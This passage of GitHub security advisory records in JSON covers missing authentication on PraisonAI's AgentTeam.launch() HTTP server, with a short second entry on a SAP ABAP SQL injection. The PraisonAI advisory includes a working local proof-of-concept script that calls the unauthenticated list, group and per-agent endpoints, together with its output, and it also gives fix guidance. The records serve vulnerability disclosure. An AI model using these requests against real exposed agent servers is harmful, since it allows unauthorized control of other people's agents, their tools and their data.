`src/praisonai-agents/praisonaiagents/agents/agents.py`\n- Current line references: `AgentTeam.launch()` begins at line 1923;\n  the group `POST` route is registered at line 2007; the group handler invokes\n  `agent_instance.chat(...)` at line 2042; the unauthenticated list route is\n  registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line\n  2117.\n- Primary class/API: `AgentTeam.launch()` / exported alias `Agents`\n- Affected routes:\n  - `GET /{path}/list`: lists deployed agents.\n  - `POST /{path}`: sequentially invokes all agents in the team.\n  - `POST /{path}/{agent_id}`: invokes a specific agent.\n\nCurrent vulnerable sink:\n\n```python\n@app.post(path)\nasync def handle_query(request: Request, query_data: Optional[AgentQuery] = None):\n    ...\n    response = await loop.run_in_executor(\n        None,\n        copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),\n    )\n```\n\nPer-agent sink:\n\n```python\napp.post(agent_path)(create_agent_handler(agent_instance))\n...\nresponse = await loop.run_in_executor(\n    None,\n    copy_context_to_callable(lambda q=query: agent.chat(q)),\n)\n```\n\nList endpoint:\n\n```python\n@app.get(f\"{path}/list\")\nasync def list_agents():\n    return {\"agents\": [{\"name\": agent.display_name, \"id\": ...} for agent in self.agents]}\n```\n\nThere is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.\n\n## Security Boundary\n\nThis is not a trust-model-only report. PraisonAI\u0027s own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family.\n\nThe codebase also contains hardened sibling implementations:\n\n- `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97).\n- `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424).\n- `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out.\n\n`AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.\n\n## Local-Only Reproduction\n\nRun the local-only PoV script below with current source on `PYTHONPATH`:\n\n```bash\nPYTHONPATH=\"/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai\" \\\n  python poc_agentteam_launch_unauth.py\n```\n\nExpected vulnerable result:\n\n```text\n[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\n```\n\nObserved on current upstream main:\n\n```json\n{\n  \"results\": [\n    {\n      \"body\": {\n        \"agents\": [\n          {\n            \"id\": \"pov_agent\",\n            \"name\": \"pov_agent\"\n          }\n        ]\n      },\n      \"case\": \"no_auth_list\",\n      \"method\": \"GET\",\n      \"path\": \"/agents/list\",\n      \"status\": 200\n    },\n    {\n      \"case\": \"no_auth_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"wrong_bearer_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"no_auth_per_agent\",\n      \"method\": \"POST\",\n      \"path\": \"/agents/pov_agent\",\n      \"status\": 200,\n      \"body\": {\n        \"agent\": \"pov_agent\",\n        \"query\": \"marker\",\n        \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n      }\n    }\n  ]\n}\n```\n\nThe PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests.\n\nStandalone PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal-only PoV for PRAI-CAND-003.\n\nStarts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed\nagent response, then proves both the group endpoint and per-agent endpoint\nexecute without authentication. No model provider or external network is used.\n\"\"\"\n\nimport json\nimport socket\nimport time\nimport types\nimport threading\nfrom contextlib import closing\n\nimport requests\nfrom praisonaiagents import Agent, Agents\n\n\ndef _free_port() -\u003e int:\n    with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\ndef main() -\u003e int:\n    port = _free_port()\n\n    agent = Agent(\n        name=\"pov_agent\",\n        role=\"tester\",\n        goal=\"test\",\n        backstory=\"test\",\n        llm=None,\n    )\n\n    def stub_chat(self, query, *args, **kwargs):\n        return f\"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}\"\n\n    agent.chat = types.MethodType(stub_chat, agent)\n    team = Agents(agents=[agent])\n    launch_thread = threading.Thread(\n        target=lambda: team.launch(path=\"/agents\", port=port, host=\"127.0.0.1\", debug=False),\n        daemon=True,\n    )\n    launch_thread.start()\n\n    base = f\"http://127.0.0.1:{port}\"\n    for _ in range(40):\n        try:\n            response = requests.get(base + \"/health\", timeout=0.25)\n            if response.status_code == 200:\n                break\n        except Exception:\n            time.sleep(0.1)\n    else:\n        raise SystemExit(\"[poc] MISS: server did not start\")\n\n    cases = [\n        (\"no_auth_list\", \"GET\", {}, \"/agents/list\", None),\n        (\"no_auth_group\", \"POST\", {}, \"/agents\", {\"query\": \"marker\"}),\n        (\n            \"wrong_bearer_group\",\n            \"POST\",\n            {\"Authorization\": \"Bearer definitely-wrong\"},\n            \"/agents\",\n            {\"query\": \"marker\"},\n        ),\n        (\"no_auth_per_agent\", \"POST\", {}, \"/agents/pov_agent\", {\"query\": \"marker\"}),\n    ]\n    results = []\n    for name, method, headers, path, body in cases:\n        if method == \"GET\":\n            response = requests.get(base + path, headers=headers, timeout=5)\n        else:\n            response = requests.post(base + path, json=body, headers=headers, timeout=5)\n        try:\n            body = response.json()\n        except Exception:\n            body = response.text\n        results.append(\n            {\n                \"case\": name,\n                \"method\": method,\n                \"path\": path,\n                \"status\": response.status_code,\n                \"body\": body,\n            }\n        )\n\n    print(json.dumps({\"port\": port, \"results\": results}, indent=2, sort_keys=True))\n\n    expected_marker = \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n    for result in results:\n        if result[\"status\"] != 200:\n            raise SystemExit(f\"[poc] MISS: {result[\u0027case\u0027]} returned {result[\u0027status\u0027]}\")\n        if result[\"case\"] == \"no_auth_list\" and \"pov_agent\" not in json.dumps(result[\"body\"]):\n            raise SystemExit(\"[poc] MISS: unauthenticated list endpoint did not expose agent id\")\n        if result[\"case\"] == \"no_auth_list\":\n            continue\n        body_text = json.dumps(result[\"body\"], sort_keys=True)\n        if expected_marker not in body_text:\n            raise SystemExit(f\"[poc] MISS: marker absent for {result[\u0027case\u0027]}\")\n\n    print(\"[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Impact\n\nIf an operator follows the documented remote-server pattern and exposes an `AgentTeam.launch()` server on a reachable interface, any network client can invoke the deployed agents without credentials.\n\nDepending on the deployed agents, an unauthenticated caller may be able to:\n\n- enumerate available agent IDs and names through `GET /{path}/list`;\n- trigger model/API spend by repeatedly invoking agents;\n- drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;\n- trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;\n- access responses generated from connected private context, memory, or knowledge sources.\n\nThe impact is deployment-dependent, but the missing access control is in the framework\u0027s advertised network server path rather than in user application code.\n\n## Affected-Version Sweep\n\nStatic sweep of release tags shows the unauthenticated `AgentTeam.launch()` handler and per-agent registration present in:\n\n- `v4.6.33`\n- `v4.6.39`\n- `v4.6.40`\n- `v4.6.56`\n- `v4.6.57`\n\nThe issue remains present on current upstream main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`.\n\nThe generated deploy API path was hardened between `v4.6.33` and `v4.6.39`, and remains hardened in `v4.6.57`. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover `AgentTeam.launch()`.\n\n## Root Cause\n\nThe `AgentTeam.launch()` FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.\n\nThe security-sensitive action is direct invocation of `agent.chat()` from a network request. The route has no access-control check before that call.\n\n## Suggested Fix\n\nRecommended approach:\n\n1. Add a shared authentication helper for all network-facing agent invocation servers.\n2. Make `AgentTeam.launch()` fail closed for non-loopback binds unless a token/API key is configured.\n3. Require `Authorization: Bearer \u003ctoken\u003e` or an explicit documented API-key header for `POST /{path}`, `GET /{path}/list`, and `POST /{path}/{agent_id}`.\n4. Default `AgentTeam.launch()` to `host=\"127.0.0.1\"` unless an explicit unsafe/remote option plus auth is configured.\n5. Add regression tests proving:\n   - no token returns `401`;\n   - wrong token returns `403`;\n   - correct token can list agents;\n   - correct token can invoke the team endpoint;\n   - correct token can invoke the per-agent endpoint;\n   - external bind without auth fails at startup.\n\nIf unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.\n\n## Severity\n\nRecommended severity: Critical\n\nRationale:\n\n- Network attack vector: the documented server supports remote access via `0.0.0.0`.\n- Low complexity: a single POST request invokes the agent.\n- No privileges: no credentials are required.\n- No user interaction: once the server is exposed, the attacker directly sends requests.\n- High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.\n\nIf maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.\n\n## Notes\n\nThe direct single-agent `Agent.launch()` path in current source appears to share the same missing-auth design, but it raises `NameError: name \u0027_server_lock\u0027 is not defined` before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working `AgentTeam.launch()` / `Agents.launch()` path.\n\nThe CLI `praisonai serve agents` surface advertises a `--api-key` option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.",
  "id": "GHSA-x8cv-xmq7-p8xp",
  "modified": "2026-06-18T13:57:32Z",
  "published": "2026-06-18T13:57:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-25615"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Due to insufficient input sanitization, SAP ABAP - versions 751, 753, 753, 754, 756, 757, 791, allows an authenticated high privileged user to alter the current session of the user by injecting the malicious database queries over the network and gain access to the unintended data. This may lead to a high impact on the confidentiality and no impact on the availability and integrity of the application.",
  "id": "GHSA-x94j-mc2f-6995",
  "modified": "2023-03-16T21:30:17Z",
  "published": "2023-03-14T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25615"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3289844"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}